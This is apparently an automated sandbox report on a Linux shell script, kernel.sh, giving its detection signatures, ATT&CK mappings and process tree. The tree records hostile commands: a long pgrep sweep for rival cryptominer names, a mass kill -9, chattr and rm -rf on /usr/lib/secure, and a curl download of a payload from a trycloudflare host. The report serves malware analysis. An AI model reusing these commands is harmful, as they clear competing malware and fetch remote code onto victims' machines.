7bc7583c91a5b3880dcb9ae735530d4990d13f67216f08dfa140f927a09c1a87

Resubmissions

13-12-2024 16:40

241213-t61lwsvjfx 10

13-12-2024 09:54

241213-lw7y8avjgx 10

Analysis

max time kernel
149s
max time network
18s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
13-12-2024 09:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

kernel.sh
Size

3KB
MD5

70b5ca97532b13cf5743c138d213ef1f
SHA1

55ce28f0db3d7fbd69c72d78282b06147df690f9
SHA256

7bc7583c91a5b3880dcb9ae735530d4990d13f67216f08dfa140f927a09c1a87
SHA512

253b9e6eda76101b81522d412fa394da12406997e813f1cc49dcfc57dbf6b432d64829600a2d0413a7ecfce3e6f412f4529eb4a35b278bf5fb3626fc5f7dbfa6

Score

6^/10

antivm discovery

Malware Config

Signatures

Attempts to change immutable files 1 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
884	chattr

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/590/status	pgrep
File opened for reading	/proc/656/status	pgrep
File opened for reading	/proc/608/cmdline	pgrep
File opened for reading	/proc/41/status	pgrep
File opened for reading	/proc/648/cmdline	pgrep
File opened for reading	/proc/671/status	pgrep
File opened for reading	/proc/146/status	pgrep
File opened for reading	/proc/658/cmdline	pgrep
File opened for reading	/proc/648/cmdline	pgrep
File opened for reading	/proc/590/cmdline	pgrep
File opened for reading	/proc/608/status	pgrep
File opened for reading	/proc/6/cmdline	pgrep
File opened for reading	/proc/3/status	pgrep
File opened for reading	/proc/334/cmdline	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/293/cmdline	pgrep
File opened for reading	/proc/608/cmdline	pgrep
File opened for reading	/proc/791/cmdline	pgrep
File opened for reading	/proc/3/cmdline	pgrep
File opened for reading	/proc/20/status	pgrep
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/293/cmdline	pgrep
File opened for reading	/proc/610/cmdline	pgrep
File opened for reading	/proc/287/cmdline	pgrep
File opened for reading	/proc/13/status	pgrep
File opened for reading	/proc/310/cmdline	pgrep
File opened for reading	/proc/26/cmdline	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/648/status	pgrep
File opened for reading	/proc/157/status	pgrep
File opened for reading	/proc/326/status	pgrep
File opened for reading	/proc/146/cmdline	pgrep
File opened for reading	/proc/766/status	pgrep
File opened for reading	/proc/13/cmdline	pgrep
File opened for reading	/proc/664/cmdline	pgrep
File opened for reading	/proc/4/status	pgrep
File opened for reading	/proc/239/cmdline	pgrep
File opened for reading	/proc/41/status	pgrep
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/310/status	ps
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/9/cmdline	pgrep
File opened for reading	/proc/608/cmdline	pgrep
File opened for reading	/proc/117/cmdline	pgrep
File opened for reading	/proc/11/status	pgrep
File opened for reading	/proc/334/status	pgrep
File opened for reading	/proc/24/status	pgrep
File opened for reading	/proc/653/cmdline	pgrep
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/21/status	pgrep
File opened for reading	/proc/5/status	pgrep
File opened for reading	/proc/11/status	pgrep
File opened for reading	/proc/41/status	pgrep
File opened for reading	/proc/11/status	pgrep
File opened for reading	/proc/5/status	pgrep
File opened for reading	/proc/15/status	pgrep
File opened for reading	/proc/8/cmdline	pgrep
File opened for reading	/proc/16/status	pgrep
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/27/cmdline	pgrep
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/24/status	pgrep
File opened for reading	/proc/290/cmdline	pgrep

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
749	pgrep

/tmp/kernel.sh
/tmp/kernel.sh
1⤵
PID:656
- /usr/bin/pgrep
  pgrep -x kdevtmpfsi
  2⤵
  - Reads CPU attributes
  PID:663
- /usr/bin/pgrep
  pgrep -x kinsing
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:668
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads runtime system information
  PID:673
- /usr/bin/pgrep
  pgrep -x xmrigDaemon
  2⤵
  - Reads CPU attributes
  PID:678
- /usr/bin/pgrep
  pgrep -x xmrigMiner
  2⤵
  PID:682
- /usr/bin/pgrep
  pgrep -x xmrigMinerd
  2⤵
  PID:684
- /usr/bin/pgrep
  pgrep -x xmrigMinerDaemon
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:687
- /usr/bin/pgrep
  pgrep -x xmrigMinerServer
  2⤵
  - Reads runtime system information
  PID:688
- /usr/bin/pgrep
  pgrep -x xmrigMinerServerDaemon
  2⤵
  - Reads runtime system information
  PID:691
- /usr/bin/pgrep
  pgrep -x bash2
  2⤵
  - Reads CPU attributes
  PID:693
- /usr/bin/pgrep
  pgrep -x .network-setup
  2⤵
  PID:695
- /usr/bin/pgrep
  pgrep -x syshd
  2⤵
  - Reads CPU attributes
  PID:696
- /usr/bin/pgrep
  pgrep -x /usr/.network-setup/config.json
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:698
- /usr/bin/pgrep
  pgrep -x bashirc
  2⤵
  PID:699
- /usr/bin/pgrep
  pgrep -x masscan
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:700
- /usr/bin/pgrep
  pgrep -x cronb.sh
  2⤵
  PID:701
- /usr/bin/pgrep
  pgrep -x crond.sh
  2⤵
  - Reads CPU attributes
  PID:702
- /usr/bin/pgrep
  pgrep -x linuxsys
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:703
- /usr/bin/pgrep
  pgrep -x miner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:704
- /usr/bin/pgrep
  pgrep -x gitlabw
  2⤵
  - Reads CPU attributes
  PID:705
- /usr/bin/pgrep
  pgrep -x xmp
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:706
- /usr/bin/pgrep
  pgrep -x juiceSSH
  2⤵
  PID:707
- /usr/bin/pgrep
  pgrep -x khnug
  2⤵
  PID:708
- /usr/bin/pgrep
  pgrep -x Linux2
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:709
- /usr/bin/pgrep
  pgrep -x kthreaddi
  2⤵
  - Reads runtime system information
  PID:710
- /usr/bin/pgrep
  pgrep -x kkssl
  2⤵
  - Reads runtime system information
  PID:713
- /usr/bin/pgrep
  pgrep -x cnrig
  2⤵
  - Reads CPU attributes
  PID:715
- /usr/bin/pgrep
  pgrep -x stratum
  2⤵
  - Reads CPU attributes
  PID:717
- /usr/bin/pgrep
  pgrep -x vscode
  2⤵
  PID:719
- /usr/bin/pgrep
  pgrep -x "runsv puma"
  2⤵
  - Reads CPU attributes
  PID:721
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  PID:724
- /usr/bin/pgrep
  pgrep -x c3pool
  2⤵
  - Reads runtime system information
  PID:725
- /usr/bin/pgrep
  pgrep -x kthreaddk
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:728
- /usr/bin/pgrep
  pgrep -x dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:729
- /usr/bin/pgrep
  pgrep -x kdevtmpfsi
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:732
- /usr/bin/pgrep
  pgrep -x kinsing
  2⤵
  - Reads CPU attributes
  PID:734
- /usr/bin/pgrep
  pgrep -x supportxmr
  2⤵
  PID:736
- /usr/bin/pgrep
  pgrep -x xmr
  2⤵
  - Reads CPU attributes
  PID:739
- /usr/bin/pgrep
  pgrep -x kthreaddw
  2⤵
  - Reads runtime system information
  PID:741
- /usr/bin/pgrep
  pgrep -x klibsystem4
  2⤵
  PID:743
- /usr/bin/pgrep
  pgrep -x klibsystem5
  2⤵
  - Reads CPU attributes
  PID:745
- /usr/bin/pgrep
  pgrep -x kworkerr
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:747
- /usr/bin/pgrep
  pgrep -x ipv6_addrconfd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:749
- /usr/bin/pgrep
  pgrep -x ksoftriqd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:751
- /usr/bin/pgrep
  pgrep -x 8a9ed70
  2⤵
  - Reads CPU attributes
  PID:754
- /usr/bin/pgrep
  pgrep -x xmrigMiner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:756
- /usr/bin/pgrep
  pgrep -x kthreaddo
  2⤵
  - Reads runtime system information
  PID:758
- /usr/bin/pgrep
  pgrep -x xssai
  2⤵
  - Reads runtime system information
  PID:760
- /usr/bin/pgrep
  pgrep -x k1.sh
  2⤵
  - Reads runtime system information
  PID:762
- /usr/bin/pgrep
  pgrep -x base64
  2⤵
  - Reads runtime system information
  PID:764
- /usr/bin/pgrep
  pgrep -x java-deamon
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:768
- /usr/bin/pgrep
  pgrep -x up.elf
  2⤵
  - Reads CPU attributes
  PID:770
- /usr/bin/pgrep
  pgrep -x logrotate
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:774
- /usr/bin/pgrep
  pgrep -x "\\-bash"
  2⤵
  - Reads runtime system information
  PID:777
- /usr/bin/pgrep
  pgrep -x b64decode
  2⤵
  - Reads CPU attributes
  PID:779
- /usr/bin/pgrep
  pgrep -x MCf8
  2⤵
  - Reads CPU attributes
  PID:781
- /usr/bin/pgrep
  pgrep -x mysqldd
  2⤵
  - Reads CPU attributes
  PID:783
- /usr/bin/pgrep
  pgrep -x monero
  2⤵
  - Reads CPU attributes
  PID:786
- /usr/bin/pgrep
  pgrep -x sshpass
  2⤵
  - Reads CPU attributes
  PID:788
- /usr/bin/pgrep
  pgrep -x sshexec
  2⤵
  - Reads CPU attributes
  PID:789
- /usr/bin/pgrep
  pgrep -x attack
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:791
- /usr/bin/pgrep
  pgrep -x dovecat
  2⤵
  PID:792
- /usr/bin/pgrep
  pgrep -x javae
  2⤵
  PID:793
- /usr/bin/pgrep
  pgrep -x donate
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:794
- /usr/bin/pgrep
  pgrep -x scan.log
  2⤵
  - Reads runtime system information
  PID:795
- /usr/bin/pgrep
  pgrep -x xmr-stak
  2⤵
  - Reads CPU attributes
  PID:796
- /usr/bin/pgrep
  pgrep -x crond64
  2⤵
  - Reads runtime system information
  PID:797
- /usr/bin/pgrep
  pgrep -x /tmp/java
  2⤵
  - Reads runtime system information
  PID:798
- /usr/bin/pgrep
  pgrep -x pastebin
  2⤵
  - Reads runtime system information
  PID:799
- /usr/bin/pgrep
  pgrep -x so.txt
  2⤵
  - Reads CPU attributes
  PID:800
- /usr/bin/pgrep
  pgrep -x "bash -s 3673"
  2⤵
  - Reads CPU attributes
  PID:801
- /usr/bin/pgrep
  pgrep -x 8005/cc5
  2⤵
  - Reads CPU attributes
  PID:802
- /usr/bin/pgrep
  pgrep -x /tmp/system
  2⤵
  PID:803
- /usr/bin/pgrep
  pgrep -x ./cliented
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:804
- /usr/bin/pgrep
  pgrep -x .inis
  2⤵
  - Reads CPU attributes
  PID:807
- /usr/bin/pgrep
  pgrep -x certutil
  2⤵
  PID:810
- /usr/bin/pgrep
  pgrep -x excludefile
  2⤵
  - Reads runtime system information
  PID:811
- /usr/bin/pgrep
  pgrep -x agettyd
  2⤵
  - Reads CPU attributes
  PID:814
- /usr/bin/pgrep
  pgrep -x kthreaddkk
  2⤵
  PID:817
- /usr/bin/pgrep
  pgrep -x /dev/shm
  2⤵
  - Reads CPU attributes
  PID:819
- /usr/bin/pgrep
  pgrep -x /var/tmp
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:821
- /usr/bin/pgrep
  pgrep -x ./python
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:824
- /usr/bin/pgrep
  pgrep -x ./crun
  2⤵
  - Reads CPU attributes
  PID:826
- /usr/bin/pgrep
  pgrep -x "bash -s kthreaddk"
  2⤵
  - Reads runtime system information
  PID:828
- /usr/bin/pgrep
  pgrep -x ./.
  2⤵
  PID:831
- /usr/bin/pgrep
  pgrep -x 118/cf.sh
  2⤵
  PID:833
- /usr/bin/pgrep
  pgrep -x ./lin64
  2⤵
  - Reads CPU attributes
  PID:835
- /usr/bin/pgrep
  pgrep -x confluence/install.sh
  2⤵
  - Reads CPU attributes
  PID:837
- /usr/bin/pgrep
  pgrep -x unls64.sh
  2⤵
  PID:839
- /usr/bin/pgrep
  pgrep -x ./system-xfwm4-session
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:841
- /usr/bin/pgrep
  pgrep -x ./httpd
  2⤵
  - Reads CPU attributes
  PID:843
- /usr/bin/pgrep
  pgrep -x loligang
  2⤵
  - Reads CPU attributes
  PID:846
- /usr/bin/pgrep
  pgrep -x .6379
  2⤵
  PID:848
- /usr/bin/pgrep
  pgrep -x load.sh
  2⤵
  - Reads runtime system information
  PID:850
- /usr/bin/pgrep
  pgrep -x init.sh
  2⤵
  PID:851
- /usr/bin/pgrep
  pgrep -x solr.sh
  2⤵
  PID:854
- /usr/bin/pgrep
  pgrep -x .rsyslogds
  2⤵
  PID:856
- /usr/bin/pgrep
  pgrep -x sysDworker
  2⤵
  - Reads CPU attributes
  PID:858
- /usr/bin/pgrep
  pgrep -x pnscan
  2⤵
  - Reads CPU attributes
  PID:859
- /usr/bin/pgrep
  pgrep -x sysguard
  2⤵
  - Reads runtime system information
  PID:860
- /usr/bin/pgrep
  pgrep -x solrd
  2⤵
  PID:861
- /usr/bin/pgrep
  pgrep -x polska
  2⤵
  - Reads runtime system information
  PID:862
- /usr/bin/pgrep
  pgrep -x meminitsrv
  2⤵
  - Reads CPU attributes
  PID:863
- /usr/bin/pgrep
  pgrep -x networkservice
  2⤵
  PID:864
- /usr/bin/pgrep
  pgrep -x sysupdate
  2⤵
  PID:865
- /usr/bin/pgrep
  pgrep -x phpguard
  2⤵
  - Reads runtime system information
  PID:867
- /usr/bin/pgrep
  pgrep -x phpupdate
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:869
- /usr/bin/pgrep
  pgrep -x networkmanager
  2⤵
  - Reads CPU attributes
  PID:870
- /usr/bin/pgrep
  pgrep -x knthread
  2⤵
  PID:871
- /usr/bin/pgrep
  pgrep -x mysqlserver
  2⤵
  - Reads runtime system information
  PID:872
- /usr/bin/pgrep
  pgrep -x gitlabkill
  2⤵
  PID:873
- /usr/bin/pgrep
  pgrep -x watchbog
  2⤵
  - Reads CPU attributes
  PID:874
- /usr/bin/pgrep
  pgrep -x zgrab
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:875
- /usr/bin/pgrep
  pgrep -x udiskssd
  2⤵
  - Reads CPU attributes
  PID:876
- /bin/grep
  grep atdb
  2⤵
  PID:878
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:877
- /bin/grep
  grep -v grep
  2⤵
  PID:879
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:880
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:881
- /usr/bin/id
  id -u
  2⤵
  PID:882
- /usr/bin/id
  id -u
  2⤵
  PID:883
- /usr/bin/chattr
  chattr -ia /usr/lib/secure
  2⤵
  - Attempts to change immutable files
  PID:884
- /bin/rm
  rm -rf /usr/lib/secure
  2⤵
  PID:885
- /bin/mkdir
  mkdir -p /usr/lib/secure
  2⤵
  PID:886
- /bin/chmod
  chmod +w /usr/lib/secure
  2⤵
  PID:887
- /usr/bin/curl
  curl -ks https://throw-shut-discuss-pirates.trycloudflare.com/initd -o /usr/lib/secure/udiskssd
  2⤵
  - Checks CPU configuration
  PID:888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads